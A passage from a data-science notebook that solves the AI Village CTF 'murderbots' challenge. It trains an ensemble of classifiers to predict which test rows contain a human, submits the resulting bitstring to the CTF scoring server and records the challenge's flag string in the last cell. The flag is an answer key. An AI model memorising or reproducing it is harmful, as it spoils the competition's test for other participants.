GradientBoostingClassifier\nfrom xgboost import XGBClassifier\n\nscores=[0,0,0,0]\nMODELS=[]\nJ=25\nfor i in range(J):\n    X_train, X_test, y_train, y_test = train_test_split(refined_train_data, train_data.contains_human, \n                                                        test_size=0.1, random_state=i)\n\n    \n    model = LinearSVC(random_state=i, dual=False)\n    model.fit(X_train,y_train)\n    MODELS.append(model)\n    scores[0]+=model.score(X_test, y_test)*100/J\n    #if i<5:\n    #    print(f'SVC test accuracy: {model.score(X_test, y_test)*100:.3f}%')\n    GBR = GradientBoostingClassifier(n_estimators=100, max_depth=4,random_state=i)\n    GBR.fit(X_train,y_train)\n    MODELS.append(GBR)\n    #if i<5:\n    #    print(f'GBR test accuracy: {GBR.score(X_test, y_test)*100:.3f}%')\n    scores[1]+=GBR.score(X_test, y_test)*100/J\n    \n    rd=RandomForestClassifier(random_state=i)\n    rd.fit(X_train,y_train)\n    MODELS.append(rd)\n    #if i<5:\n    #    print(f'RFC test accuracy: {rd.score(X_test, y_test)*100:.3f}%')\n    scores[2]+=rd.score(X_test, y_test)*100/J\n    \n    XGB = XGBClassifier(random_state=i) \n    X_traindab=X_train#.drop(['group'], axis=1)\n    XGB.fit(X_traindab,y_train)\n    MODELS.append(XGB)\n    #if i<5:\n    X_testdab=X_test#.drop(['group'], axis=1)\n    scores[3]+=XGB.score(X_testdab,y_test)*100/J\n    #     print(f'XGB test accuracy: {XGB.score(X_testdab, y_test)*100:.3f}%')","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:06.862118Z","iopub.execute_input":"2022-08-19T12:31:06.862538Z","iopub.status.idle":"2022-08-19T12:31:19.69054Z","shell.execute_reply.started":"2022-08-19T12:31:06.862501Z","shell.execute_reply":"2022-08-19T12:31:19.689601Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print([\"SVC\",\"GBR\",'RFC','XGB'])\nprint(scores)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:19.691979Z","iopub.execute_input":"2022-08-19T12:31:19.692732Z","iopub.status.idle":"2022-08-19T12:31:19.699696Z","shell.execute_reply.started":"2022-08-19T12:31:19.692681Z","shell.execute_reply":"2022-08-19T12:31:19.698265Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"refined_test_data=pd.read_json('../input/ai-village-ctf/murderbots/test_data.json')\nrefined_test_data.head()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:19.701002Z","iopub.execute_input":"2022-08-19T12:31:19.701773Z","iopub.status.idle":"2022-08-19T12:31:19.73791Z","shell.execute_reply.started":"2022-08-19T12:31:19.701723Z","shell.execute_reply":"2022-08-19T12:31:19.736687Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test_data=refined_test_data.copy()\npredictions=MODELS[0].predict(refined_test_data).astype(int)\nrtd=refined_test_data#.drop(['group'], axis=1)\nfor y in range(1,len(MODELS)):\n   try: \n    predictions+=MODELS[y].predict(refined_test_data)\n   except:\n    predictions+=MODELS[y].predict(rtd)\ntest_data['contains_human'] = [row for row in predictions]\ntest_data.head()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:19.739589Z","iopub.execute_input":"2022-08-19T12:31:19.74027Z","iopub.status.idle":"2022-08-19T12:31:20.284372Z","shell.execute_reply.started":"2022-08-19T12:31:19.740224Z","shell.execute_reply":"2022-08-19T12:31:20.283296Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Q=test_data.sort_values(by=['contains_human'],ascending=False)\nQ.head(10)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.285808Z","iopub.execute_input":"2022-08-19T12:31:20.28617Z","iopub.status.idle":"2022-08-19T12:31:20.302788Z","shell.execute_reply.started":"2022-08-19T12:31:20.286138Z","shell.execute_reply":"2022-08-19T12:31:20.301447Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"f=['0']*50","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.304477Z","iopub.execute_input":"2022-08-19T12:31:20.305665Z","iopub.status.idle":"2022-08-19T12:31:20.311063Z","shell.execute_reply.started":"2022-08-19T12:31:20.305618Z","shell.execute_reply":"2022-08-19T12:31:20.310085Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"M=list(Q.index[:10])","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.312668Z","iopub.execute_input":"2022-08-19T12:31:20.313042Z","iopub.status.idle":"2022-08-19T12:31:20.322873Z","shell.execute_reply.started":"2022-08-19T12:31:20.313002Z","shell.execute_reply":"2022-08-19T12:31:20.321849Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for i in M:\n    f[i]=1","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.324695Z","iopub.execute_input":"2022-08-19T12:31:20.32519Z","iopub.status.idle":"2022-08-19T12:31:20.335288Z","shell.execute_reply.started":"2022-08-19T12:31:20.325134Z","shell.execute_reply":"2022-08-19T12:31:20.334242Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"f=''.join([str(i)for i in f])\nf","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.337648Z","iopub.execute_input":"2022-08-19T12:31:20.338255Z","iopub.status.idle":"2022-08-19T12:31:20.348786Z","shell.execute_reply.started":"2022-08-19T12:31:20.338219Z","shell.execute_reply":"2022-08-19T12:31:20.347649Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\n#f = '11100110000000000000111001100000000000000000000000' # length == 50\ntry:\n    r = requests.post(\"http://murderbot.fly.dev:5000/score\", json=json.dumps({\"submission\": f, 'challenge_id':'murderbots'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.350211Z","iopub.execute_input":"2022-08-19T12:31:20.351169Z","iopub.status.idle":"2022-08-19T12:31:20.465323Z","shell.execute_reply.started":"2022-08-19T12:31:20.351124Z","shell.execute_reply":"2022-08-19T12:31:20.463974Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"murderbots\", \"0K88Cb58G8AM}H67V7XeLo1S3t8GWUa2uG1SJtLGrVL1B{0ZL2QLSZFMsP2GO6K57BO07JXdtUSY8TAToTQV9T6dNSTWI1eI2P19MJ6EBSXBDI4F0LW3UMIFNG3X8M2L\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:20.466852Z","iopub.execute_input":"2022-08-19T12:31:20.467305Z","iopub.status.idle":"2022-08-19T12:31:20.478202Z","shell.execute_reply.started":"2022-08-19T12:31:20.467271Z","shell.execute_reply":"2022-08-19T12:31:20.477133Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]}]}